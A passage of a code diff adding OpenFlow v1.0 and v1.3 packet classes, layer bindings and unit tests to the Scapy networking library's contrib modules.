+                    ByteEnumField("type", 17, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 3, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    PacketListField("table_stats", None, OFPTableStats,
+                                    length_from=lambda pkt:pkt.len-12) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTStatsRequestPort(_ofp_header):
+    name = "OFPST_STATS_REQUEST_PORT"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 16, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 4, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    ShortEnumField("port_no", "NONE", ofp_port_no),
+                    XBitField("pad", 0, 48) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPPortStats(Packet):
+
+    def extract_padding(self, s):
+        return "", s
+
+    name = "OFP_PORT_STATS"
+    fields_desc = [ ShortEnumField("port_no", 0, ofp_port_no),
+                    XBitField("pad", 0, 48),
+                    LongField("rx_packets", 0),
+                    LongField("tx_packets", 0),
+                    LongField("rx_bytes", 0),
+                    LongField("tx_bytes", 0),
+                    LongField("rx_dropped", 0),
+                    LongField("tx_dropped", 0),
+                    LongField("rx_errors", 0),
+                    LongField("tx_errors", 0),
+                    LongField("rx_frame_err", 0),
+                    LongField("rx_over_err", 0),
+                    LongField("rx_crc_err", 0),
+                    LongField("collisions", 0) ]
+
+class OFPTStatsReplyPort(_ofp_header):
+    name = "OFPST_STATS_REPLY_TABLE"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 17, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 4, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    PacketListField("port_stats", None, OFPPortStats,
+                                    length_from=lambda pkt:pkt.len-12) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTStatsRequestQueue(_ofp_header):
+    name = "OFPST_STATS_REQUEST_QUEUE"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 16, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 5, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    ShortEnumField("port_no", "NONE", ofp_port_no),
+                    XShortField("pad", 0),
+                    IntEnumField("queue_id", "ALL", ofp_queue) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTStatsReplyQueue(_ofp_header):
+    name = "OFPST_STATS_REPLY_QUEUE"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 17, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 5, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    ShortEnumField("port_no", "NONE", ofp_port_no),
+                    XShortField("pad", 0),
+                    IntEnumField("queue_id", "ALL", ofp_queue),
+                    LongField("tx_bytes", 0),
+                    LongField("tx_packets", 0),
+                    LongField("tx_errors", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTStatsRequestVendor(_ofp_header):
+    name = "OFPST_STATS_REQUEST_VENDOR"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 16, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 6, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    IntField("vendor", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTStatsReplyVendor(_ofp_header):
+    name = "OFPST_STATS_REPLY_VENDOR"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 17, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 6, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    IntField("vendor", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+# ofp_stats_request/reply_cls allows generic method OpenFlow() (end of script)
+# to choose the right class for dissection
+ofp_stats_request_cls = {     0: OFPTStatsRequestDesc,
+                              1: OFPTStatsRequestFlow,
+                              2: OFPTStatsRequestAggregate,
+                              3: OFPTStatsRequestTable,
+                              4: OFPTStatsRequestPort,
+                              5: OFPTStatsRequestQueue,
+                          65535: OFPTStatsRequestVendor }
+
+ofp_stats_reply_cls = {     0: OFPTStatsReplyDesc,
+                            1: OFPTStatsReplyFlow,
+                            2: OFPTStatsReplyAggregate,
+                            3: OFPTStatsReplyTable,
+                            4: OFPTStatsReplyPort,
+                            5: OFPTStatsReplyQueue,
+                        65535: OFPTStatsReplyVendor }
+
+################ end of OFPT_STATS ##################
+
+class OFPTBarrierRequest(_ofp_header):
+    name = "OFPT_BARRIER_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTBarrierReply(_ofp_header):
+    name = "OFPT_BARRIER_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTQueueGetConfigRequest(_ofp_header):
+    name = "OFPT_QUEUE_GET_CONFIG_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 20, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("port", 0, ofp_port_no),
+                    XShortField("pad", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTQueueGetConfigReply(_ofp_header):
+    name = "OFPT_QUEUE_GET_CONFIG_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 21, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("port", 0, ofp_port_no),
+                    XBitField("pad", 0, 48),
+                    QueuePacketListField("queues", [], Packet,
+                                         length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+# ofpt_cls allows generic method OpenFlow() to choose the right class for dissection
+ofpt_cls = {  0: OFPTHello,
+              #1: OFPTError,
+              2: OFPTEchoRequest,
+              3: OFPTEchoReply,
+              4: OFPTVendor,
+              5: OFPTFeaturesRequest,
+              6: OFPTFeaturesReply,
+              7: OFPTGetConfigRequest,
+              8: OFPTGetConfigReply,
+              9: OFPTSetConfig,
+             10: OFPTPacketIn,
+             11: OFPTFlowRemoved,
+             12: OFPTPortStatus,
+             13: OFPTPacketOut,
+             14: OFPTFlowMod,
+             15: OFPTPortMod,
+             #16: OFPTStatsRequest,
+             #17: OFPTStatsReply,
+             18: OFPTBarrierRequest,
+             19: OFPTBarrierReply,
+             20: OFPTQueueGetConfigRequest,
+             21: OFPTQueueGetConfigReply }
+
+TCP_guess_payload_class_copy = TCP.guess_payload_class
+
+def OpenFlow(self, payload):
+    if self is None or self.dport == 6653 or self.dport == 6633 or self.sport == 6653 or self.sport == 6633:
+    # port 6653 has been allocated by IANA, port 6633 should no longer be used
+    # OpenFlow function may be called with None self in OFPPacketField
+        of_type = orb(payload[1])
+        if of_type == 1:
+            err_type = orb(payload[9])
+            # err_type is a short int, but last byte is enough
+            if err_type == 255: err_type = 65535
+            return ofp_error_cls[err_type]
+        elif of_type == 16:
+            mp_type = orb(payload[9])
+            if mp_type == 255: mp_type = 65535
+            return ofp_stats_request_cls[mp_type]
+        elif of_type == 17:
+            mp_type = orb(payload[9])
+            if mp_type == 255: mp_type = 65535
+            return ofp_stats_reply_cls[mp_type]
+        else:
+            return ofpt_cls[of_type]
+    else:
+        return TCP_guess_payload_class_copy(self, payload)
+
+TCP.guess_payload_class = OpenFlow
diff --git a/scapy/contrib/openflow.uts b/scapy/contrib/openflow.uts
new file mode 100755
index 0000000..168fc5a
--- /dev/null
+++ b/scapy/contrib/openflow.uts
@@ -0,0 +1,80 @@
+% Tests for OpenFlow v1.0 with Scapy
+
++ Usual OFv1.0 messages
+
+= OFPTHello(), simple hello message
+ofm = OFPTHello()
+raw(ofm) == b'\x01\x00\x00\x08\x00\x00\x00\x00'
+
+= OFPTEchoRequest(), echo request
+ofm = OFPTEchoRequest()
+raw(ofm) == b'\x01\x02\x00\x08\x00\x00\x00\x00'
+
+= OFPMatch(), check wildcard completion
+ofm = OFPMatch(in_port=1, nw_tos=8)
+ofm = OFPMatch(raw(ofm))
+assert(ofm.wildcards1 == 0x1)
+ofm.wildcards2 == 0xfe
+
+= OpenFlow(), generic method test with OFPTEchoRequest()
+ofm = OFPTEchoRequest()
+s = raw(ofm)
+isinstance(OpenFlow(None,s)(s), OFPTEchoRequest)
+
+= OFPTFlowMod(), check codes and defaults values
+ofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_port='CONTROLLER', flags='CHECK_OVERLAP+EMERG')
+assert(ofm.cmd == 3)
+assert(ofm.buffer_id == 0xffffffff)
+assert(ofm.out_port == 0xfffd)
+ofm.flags == 6
+
++ Complex OFv1.3 messages
+
+= OFPTFlowMod(), complex flow_mod
+mtc = OFPMatch(dl_vlan=10, nw_src='192.168.42.0', nw_src_mask=8)
+act1 = OFPATSetNwSrc(nw_addr='192.168.42.1')
+act2 = OFPATOutput(port='CONTROLLER')
+act3 = OFPATSetDlSrc(dl_addr='1a:d5:cb:4e:3c:64')
+ofm = OFPTFlowMod(priority=1000, match=mtc, flags='CHECK_OVERLAP', actions=[act1,act2,act3])
+raw(ofm)
+s = b'\x01\x0e\x00h\x00\x00\x00\x00\x00?\xc8\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xe8\xff\xff\xff\xff\xff\xff\x00\x02\x00\x06\x00\x08\xc0\xa8*\x01\x00\x00\x00\x08\xff\xfd\xff\xff\x00\x04\x00\x10\x1a\xd5\xcbN<d\x00\x00\x00\x00\x00\x00'
+raw(ofm) == s
+
+= OFPETBadRequest() containing a flow_mod with wrong table_id
+flowmod = OFPTFlowMod(actions=OFPATOutput(port='LOCAL'))
+ofm = OFPETBadRequest(errcode='OFPBRC_EPERM', data=raw(flowmod))
+hexdump(ofm)
+s = b'\x01\x01\x00\\\x00\x00\x00\x00\x00\x01\x00\x05\x01\x0e\x00P\x00\x00\x00\x00\x00?\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x08\xff\xfe\xff\xff'
+raw(ofm) == s
+
+= OFPTPacketIn() containing an Ethernet frame
+ofm = OFPTPacketIn(data=Ether()/IP()/ICMP())
+p = OFPTPacketIn(raw(ofm))
+dat = p.data
+assert(isinstance(dat, Ether))
+assert(isinstance(dat.payload, IP))
+isinstance(dat.payload.payload, ICMP)
+
++ Layer bindings
+
+= TCP()/OFPTStatsRequestDesc(), check default sport
+p = TCP()/OFPTStatsRequestDesc()
+p[TCP].sport == 6653
+
+= TCP()/OFPETHelloFailed(), check default dport
+p = TCP()/OFPETHelloFailed()
+p[TCP].dport == 6653
+
+= TCP()/OFPTHello() dissection, check new TCP.guess_payload_class
+o = TCP()/OFPTHello()
+p = TCP(raw(o))
+p[TCP].sport == 6653
+isinstance(p[TCP].payload, OFPTHello)
+
+= complete Ether()/IP()/TCP()/OFPTFeaturesRequest()
+ofm = Ether(src='00:11:22:33:44:55',dst='01:23:45:67:89:ab')/IP(src='10.0.0.7',dst='192.168.0.42')/TCP(sport=6633)/OFPTFeaturesRequest(xid=23)
+s = b'\x01#Eg\x89\xab\x00\x11"3DU\x08\x00E\x00\x000\x00\x01\x00\x00@\x06\xaf\xee\n\x00\x00\x07\xc0\xa8\x00*\x19\xe9\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa9\xa4\x00\x00\x01\x05\x00\x08\x00\x00\x00\x17'
+assert(raw(ofm) == s)
+e = Ether(s)
+e.show2()
+e[OFPTFeaturesRequest].xid == 23
diff --git a/scapy/contrib/openflow3.py b/scapy/contrib/openflow3.py
new file mode 100755
index 0000000..844c629
--- /dev/null
+++ b/scapy/contrib/openflow3.py
@@ -0,0 +1,3375 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more information
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+## Copyright (C) 2014 Maxence Tury <maxence.tury@ssi.gouv.fr>
+## OpenFlow is an open standard used in SDN deployments.
+## Based on OpenFlow v1.3.4
+## Specifications can be retrieved from https://www.opennetworking.org/
+
+# scapy.contrib.description = Openflow v1.3
+# scapy.contrib.status = loads
+
+from __future__ import absolute_import
+import struct
+from scapy.fields import *
+from scapy.layers.l2 import *
+from scapy.layers.inet import *
+from scapy.compat import *
+
+### If prereq_autocomplete is True then match prerequisites will be
+### automatically handled. See OFPMatch class.
+prereq_autocomplete = False
+
+#####################################################
+################# Predefined values #################
+#####################################################
+
+ofp_port_no = { 0xfffffff8: "IN_PORT",
+                0xfffffff9: "TABLE",
+                0xfffffffa: "NORMAL",
+                0xfffffffb: "FLOOD",
+                0xfffffffc: "ALL",
+                0xfffffffd: "CONTROLLER",
+                0xfffffffe: "LOCAL",
+                0xffffffff: "ANY" }
+
+ofp_group = { 0xffffff00: "MAX",
+              0xfffffffc: "ALL",
+              0xffffffff: "ANY" }
+
+ofp_table = { 0xfe: "MAX",
+              0xff: "ALL" }
+
+ofp_queue = { 0xffffffff: "ALL" }
+
+ofp_meter = { 0xffff0000: "MAX",
+              0xfffffffd: "SLOWPATH",
+              0xfffffffe: "CONTROLLER",
+              0xffffffff: "ALL" }
+
+ofp_buffer = { 0xffffffff: "NO_BUFFER" }
+
+ofp_max_len = { 0xffff: "NO_BUFFER" }
+
+
+#####################################################
+################# Common structures #################
+#####################################################
+
+### The following structures will be used in different types
+### of OpenFlow messages: ports, matches/OXMs, actions,
+### instructions, buckets, queues, meter bands.
+
+
+################## Hello elements ###################
+
+class _ofp_hello_elem_header(Packet):
+    name = "Dummy OpenFlow Hello Elem Header"
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p + pay
+
+ofp_hello_elem_types = { 1: "OFPHET_VERSIONBITMAP" }
+
+class OFPHETVersionBitmap(_ofp_hello_elem_header):
+    name = "OFPHET_VERSIONBITMAP"
+    fields_desc = [ ShortEnumField("type", 1, ofp_hello_elem_types),
+                    ShortField("len", 8),
+                    FlagsField("bitmap", 0, 32, [ "Type 0",
+                                                  "OFv1.0",
+                                                  "OFv1.1",
+                                                  "OFv1.2",
+                                                  "OFv1.3",
+                                                  "OFv1.4" ]) ]
+
+ofp_hello_elem_cls = { 1: OFPHETVersionBitmap }
+
+class HelloElemPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_hello_elem_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_hello_elem_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = HelloElemPacketListField._get_hello_elem_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+
+####################### Ports #######################
+
+ofp_port_config = [ "PORT_DOWN",
+                    "NO_STP",        # undefined in v1.3
+                    "NO_RECV",
+                    "NO_RECV_STP",   # undefined in v1.3
+                    "NO_FLOOD",      # undefined in v1.3
+                    "NO_FWD",
+                    "NO_PACKET_IN" ]
+
+ofp_port_state = [ "LINK_DOWN",
+                   "BLOCKED",
+                   "LIVE" ]
+
+ofp_port_features = [ "10MB_HD",
+                      "10MB_FD",
+                      "100MB_HD",
+                      "100MB_FD",
+                      "1GB_HD",
+                      "1GB_FD",
+                      "10GB_FD",
+                      "40GB_FD",
+                      "100GB_FD",
+                      "1TB_FD",
+                      "OTHER",
+                      "COPPER",
+                      "FIBER",
+                      "AUTONEG",
+                      "PAUSE",
+                      "PAUSE_ASYM" ]
+
+class OFPPort(Packet):
+    name = "OFP_PHY_PORT"
+    fields_desc = [ IntEnumField("port_no", 0, ofp_port_no),
+                    XIntField("pad1", 0),
+                    MACField("hw_addr", "0"),
+                    XShortField("pad2", 0),
+                    StrFixedLenField("port_name", "", 16),
+                    FlagsField("config", 0, 32, ofp_port_config),
+                    FlagsField("state", 0, 32, ofp_port_state),
+                    FlagsField("curr", 0, 32, ofp_port_features),
+                    FlagsField("advertised", 0, 32, ofp_port_features),
+                    FlagsField("supported", 0, 32, ofp_port_features),
+                    FlagsField("peer", 0, 32, ofp_port_features),
+                    IntField("curr_speed", 0),
+                    IntField("max_speed", 0) ]
+
+    def extract_padding(self, s):
+        return "", s
+    # extract_padding is overridden in order for s not to be considered
+    # as belonging to the same layer (s usually contains other OFPPorts)
+
+
+################### Matches & OXMs ##################
+
+ofp_oxm_classes = {      0: "OFPXMC_NXM_0",
+                         1: "OFPXMC_NXM_1",
+                    0x8000: "OFPXMC_OPENFLOW_BASIC",
+                    0xffff: "OFPXMC_EXPERIMENTER" }
+
+ofp_oxm_names = {  0: "OFB_IN_PORT",
+                   1: "OFB_IN_PHY_PORT",
+                   2: "OFB_METADATA",
+                   3: "OFB_ETH_DST",
+                   4: "OFB_ETH_SRC",
+                   5: "OFB_ETH_TYPE",
+                   6: "OFB_VLAN_VID",
+                   7: "OFB_VLAN_PCP",
+                   8: "OFB_IP_DSCP",
+                   9: "OFB_IP_ECN",
+                  10: "OFB_IP_PROTO",
+                  11: "OFB_IPV4_SRC",
+                  12: "OFB_IPV4_DST",
+                  13: "OFB_TCP_SRC",
+                  14: "OFB_TCP_DST",
+                  15: "OFB_UDP_SRC",
+                  16: "OFB_UDP_DST",
+                  17: "OFB_SCTP_SRC",
+                  18: "OFB_SCTP_DST",
+                  19: "OFB_ICMPV4_TYPE",
+                  20: "OFB_ICMPV4_CODE",
+                  21: "OFB_ARP_OP",
+                  22: "OFB_ARP_SPA",
+                  23: "OFB_ARP_TPA",
+                  24: "OFB_ARP_SHA",
+                  25: "OFB_ARP_THA",
+                  26: "OFB_IPV6_SRC",
+                  27: "OFB_IPV6_DST",
+                  28: "OFB_IPV6_FLABEL",
+                  29: "OFB_ICMPV6_TYPE",
+                  30: "OFB_ICMPV6_CODE",
+                  31: "OFB_IPV6_ND_TARGET",
+                  32: "OFB_IPV6_ND_SLL",
+                  33: "OFB_IPV6_ND_TLL",
+                  34: "OFB_MPLS_LABEL",
+                  35: "OFB_MPLS_TC",
+                  36: "OFB_MPLS_BOS",
+                  37: "OFB_PBB_ISID",
+                  38: "OFB_TUNNEL_ID",
+                  39: "OFB_IPV6_EXTHDR" }
+
+ofp_oxm_constr = {  0: ["OFBInPort", "in_port", 4],
+                    1: ["OFBInPhyPort", "in_phy_port", 4],
+                    2: ["OFBMetadata", "metadata", 8],
+                    3: ["OFBEthDst", "eth_dst", 6],
+                    4: ["OFBEthSrc", "eth_src", 6],
+                    5: ["OFBEthType", "eth_type", 2],
+                    6: ["OFBVLANVID", "vlan_vid", 2],
+                    7: ["OFBVLANPCP", "vlan_pcp", 1],
+                    8: ["OFBIPDSCP", "ip_dscp", 1],
+                    9: ["OFBIPECN", "ip_ecn", 1],
+                   10: ["OFBIPProto", "ip_proto", 1],
+                   11: ["OFBIPv4Src", "ipv4_src", 4],
+                   12: ["OFBIPv4Dst", "ipv4_dst", 4],
+                   13: ["OFBTCPSrc", "tcp_src", 2],
+                   14: ["OFBTCPDst", "tcp_dst", 2],
+                   15: ["OFBUDPSrc", "udp_src", 2],
+                   16: ["OFBUDPDst", "udp_dst", 2],
+                   17: ["OFBSCTPSrc", "sctp_src", 2],
+                   18: ["OFBSCTPDst", "sctp_dst", 2],
+                   19: ["OFBICMPv4Type", "icmpv4_type", 1],    
+                   20: ["OFBICMPv4Code", "icmpv4_code", 1],    
+                   21: ["OFBARPOP", "arp_op", 2],    
+                   22: ["OFBARPSPA", "arp_spa", 4],
+                   23: ["OFBARPTPA", "arp_tpa", 4],
+                   24: ["OFBARPSHA", "arp_sha", 6],
+                   25: ["OFBARPTHA", "arp_tha", 6],
+                   26: ["OFBIPv6Src", "ipv6_src", 16],
+                   27: ["OFBIPv6Dst", "ipv6_dst", 16],
+                   28: ["OFBIPv6FLabel", "ipv6_flabel", 4],
+                   29: ["OFBICMPv6Type", "icmpv6_type", 1],
+                   30: ["OFBICMPv6Code", "icmpv6_code", 1],
+                   31: ["OFBIPv6NDTarget", "ipv6_nd_target", 16],
+                   32: ["OFBIPv6NDSLL", "ipv6_sll", 6],
+                   33: ["OFBIPv6NDTLL", "ipv6_tll", 6],
+                   34: ["OFBMPLSLabel", "mpls_label", 4],
+                   35: ["OFBMPLSTC", "mpls_tc", 1],
+                   36: ["OFBMPLSBoS", "mpls_bos", 1],
+                   37: ["OFBPBBISID", "pbb_isid", 3],
+                   38: ["OFBTunnelID", "tunnel_id", 8],
+                   39: ["OFBIPv6ExtHdr", "ipv6_ext_hdr_flags", 2] }
+
+# the ipv6flags array is useful only to the OFBIPv6ExtHdr class
+ipv6flags = [ "NONEXT",
+              "ESP",
+              "AUTH",
+              "DEST",
+              "FRAG",
+              "ROUTER",
+              "HOP",
+              "UNREP",
+              "UNSEQ" ]
+
+### here we fill ofp_oxm_fields with the fields that will be used
+### to generate the various OXM classes
+### e.g. the call to add_ofp_oxm_fields(0, ["OFBInPort", "in_port", 4])
+### will add {0: [ShortEnumField("class",..), BitEnumField("field",..),..]}
+ofp_oxm_fields = {}
+def add_ofp_oxm_fields(i, org):
+    ofp_oxm_fields[i] = [ ShortEnumField("class", "OFPXMC_OPENFLOW_BASIC", ofp_oxm_classes),
+                          BitEnumField("field", i//2, 7, ofp_oxm_names),
+                          BitField("hasmask", i%2, 1) ]
+    ofp_oxm_fields[i].append(ByteField("length", org[2]+org[2]*(i%2)))
+    if i//2 == 0:           # OFBInPort
+        ofp_oxm_fields[i].append(IntEnumField(org[1], 0, ofp_port_no))
+    elif i//2 == 3 or i//2 == 4:          # OFBEthSrc & OFBEthDst
+        ofp_oxm_fields[i].append(MACField(org[1], None))
+    elif i//2 == 11 or i//2 == 12:        # OFBIPv4Src & OFBIPv4Dst
+        ofp_oxm_fields[i].append(IPField(org[1], "0"))
+    elif i//2 == 39:        # OFBIPv6ExtHdr
+        ofp_oxm_fields[i].append(FlagsField(org[1], 0, 8*org[2], ipv6flags))
+    else:
+        ofp_oxm_fields[i].append(BitField(org[1], 0, 8*org[2]))
+    if i%2:
+        ofp_oxm_fields[i].append(BitField(org[1]+"_mask", 0, 8*org[2]))
+
+# some HM classes are not supported par OFv1.3 but we will create them anyway
+for i,cls in ofp_oxm_constr.items():
+    add_ofp_oxm_fields(2*i, cls)
+    add_ofp_oxm_fields(2*i+1, cls)
+
+### now we create every OXM class with the same call,
+### (except that static variable create_oxm_class.i is each time different)
+### and we fill ofp_oxm_cls with them
+ofp_oxm_cls = {}
+ofp_oxm_id_cls = {}
+def create_oxm_cls():
+    # static variable initialization
+    if not hasattr(create_oxm_cls, "i"):
+        create_oxm_cls.i = 0
+
+    index = create_oxm_cls.i
+    cls_name = ofp_oxm_constr[index//4][0]
+    # we create standard OXM then OXM ID then OXM with mask then OXM-hasmask ID
+    if index % 4 == 2:
+        cls_name += "HM"
+    if index % 2:
+        cls_name += "ID"
+
+    oxm_name = ofp_oxm_names[index//4]
+    oxm_fields = ofp_oxm_fields[index//2]
+    # for ID classes we just want the first 4 fields (no payload)
+    if index % 2:
+        oxm_fields = oxm_fields[:4]
+
+    cls = type(cls_name, (Packet,), { "name": oxm_name, "fields_desc": oxm_fields })
+    ### the first call to special function type will create the same class as in
+    ### class OFBInPort(Packet):
+    ###     def __init__(self):
+    ###         self.name = "OFB_IN_PORT"
+    ###         self.fields_desc = [ ShortEnumField("class", 0x8000, ofp_oxm_classes),
+    ###                              BitEnumField("field", 0, 7, ofp_oxm_names),
+    ###                              BitField("hasmask", 0, 1),
+    ###                              ByteField("length", 4),
+    ###                              IntEnumField("in_port", 0, ofp_port_no) ]
+
+    if index % 2 == 0:
+        ofp_oxm_cls[index//2] = cls
+    else:
+        ofp_oxm_id_cls[index//2] = cls
+    create_oxm_cls.i += 1
+    return cls
+
+OFBInPort = create_oxm_cls()
+OFBInPortID = create_oxm_cls()
+OFBInPortHM = create_oxm_cls()
+OFBInPortHMID = create_oxm_cls()
+OFBInPhyPort = create_oxm_cls()
+OFBInPhyPortID = create_oxm_cls()
+OFBInPhyPortHM = create_oxm_cls()
+OFBInPhyPortHMID = create_oxm_cls()
+OFBMetadata = create_oxm_cls()
+OFBMetadataID = create_oxm_cls()
+OFBMetadataHM = create_oxm_cls()
+OFBMetadataHMID = create_oxm_cls()
+OFBEthDst = create_oxm_cls()
+OFBEthDstID = create_oxm_cls()
+OFBEthDstHM = create_oxm_cls()
+OFBEthDstHMID = create_oxm_cls()
+OFBEthSrc = create_oxm_cls()
+OFBEthSrcID = create_oxm_cls()
+OFBEthSrcHM = create_oxm_cls()
+OFBEthSrcHMID = create_oxm_cls()
+OFBEthType = create_oxm_cls()
+OFBEthTypeID = create_oxm_cls()
+OFBEthTypeHM = create_oxm_cls()
+OFBEthTypeHMID = create_oxm_cls()
+OFBVLANVID = create_oxm_cls()
+OFBVLANVIDID = create_oxm_cls()
+OFBVLANVIDHM = create_oxm_cls()
+OFBVLANVIDHMID = create_oxm_cls()
+OFBVLANPCP = create_oxm_cls()
+OFBVLANPCPID = create_oxm_cls()
+OFBVLANPCPHM = create_oxm_cls()
+OFBVLANPCPHMID = create_oxm_cls()
+OFBIPDSCP = create_oxm_cls()
+OFBIPDSCPID = create_oxm_cls()
+OFBIPDSCPHM = create_oxm_cls()
+OFBIPDSCPHMID = create_oxm_cls()
+OFBIPECN = create_oxm_cls()
+OFBIPECNID = create_oxm_cls()
+OFBIPECNHM = create_oxm_cls()
+OFBIPECNHMID = create_oxm_cls()
+OFBIPProto = create_oxm_cls()
+OFBIPProtoID = create_oxm_cls()
+OFBIPProtoHM = create_oxm_cls()
+OFBIPProtoHMID = create_oxm_cls()
+OFBIPv4Src = create_oxm_cls()
+OFBIPv4SrcID = create_oxm_cls()
+OFBIPv4SrcHM = create_oxm_cls()
+OFBIPv4SrcHMID = create_oxm_cls()
+OFBIPv4Dst = create_oxm_cls()
+OFBIPv4DstID = create_oxm_cls()
+OFBIPv4DstHM = create_oxm_cls()
+OFBIPv4DstHMID = create_oxm_cls()
+OFBTCPSrc = create_oxm_cls()
+OFBTCPSrcID = create_oxm_cls()
+OFBTCPSrcHM = create_oxm_cls()
+OFBTCPSrcHMID = create_oxm_cls()
+OFBTCPDst = create_oxm_cls()
+OFBTCPDstID = create_oxm_cls()
+OFBTCPDstHM = create_oxm_cls()
+OFBTCPDstHMID = create_oxm_cls()
+OFBUDPSrc = create_oxm_cls()
+OFBUDPSrcID = create_oxm_cls()
+OFBUDPSrcHM = create_oxm_cls()
+OFBUDPSrcHMID = create_oxm_cls()
+OFBUDPDst = create_oxm_cls()
+OFBUDPDstID = create_oxm_cls()
+OFBUDPDstHM = create_oxm_cls()
+OFBUDPDstHMID = create_oxm_cls()
+OFBSCTPSrc = create_oxm_cls()
+OFBSCTPSrcID = create_oxm_cls()
+OFBSCTPSrcHM = create_oxm_cls()
+OFBSCTPSrcHMID = create_oxm_cls()
+OFBSCTPDst = create_oxm_cls()
+OFBSCTPDstID = create_oxm_cls()
+OFBSCTPDstHM = create_oxm_cls()
+OFBSCTPDstHMID = create_oxm_cls()
+OFBICMPv4Type = create_oxm_cls()
+OFBICMPv4TypeID = create_oxm_cls()
+OFBICMPv4TypeHM = create_oxm_cls()
+OFBICMPv4TypeHMID = create_oxm_cls()
+OFBICMPv4Code = create_oxm_cls()
+OFBICMPv4CodeID = create_oxm_cls()
+OFBICMPv4CodeHM = create_oxm_cls()
+OFBICMPv4CodeHMID = create_oxm_cls()
+OFBARPOP = create_oxm_cls()
+OFBARPOPID = create_oxm_cls()
+OFBARPOPHM = create_oxm_cls()
+OFBARPOPHMID = create_oxm_cls()
+OFBARPSPA = create_oxm_cls()
+OFBARPSPAID = create_oxm_cls()
+OFBARPSPAHM = create_oxm_cls()
+OFBARPSPAHMID = create_oxm_cls()
+OFBARPTPA = create_oxm_cls()
+OFBARPTPAID = create_oxm_cls()
+OFBARPTPAHM = create_oxm_cls()
+OFBARPTPAHMID = create_oxm_cls()
+OFBARPSHA = create_oxm_cls()
+OFBARPSHAID = create_oxm_cls()
+OFBARPSHAHM = create_oxm_cls()
+OFBARPSHAHMID = create_oxm_cls()
+OFBARPTHA = create_oxm_cls()
+OFBARPTHAID = create_oxm_cls()
+OFBARPTHAHM = create_oxm_cls()
+OFBARPTHAHMID = create_oxm_cls()
+OFBIPv6Src = create_oxm_cls()
+OFBIPv6SrcID = create_oxm_cls()
+OFBIPv6SrcHM = create_oxm_cls()
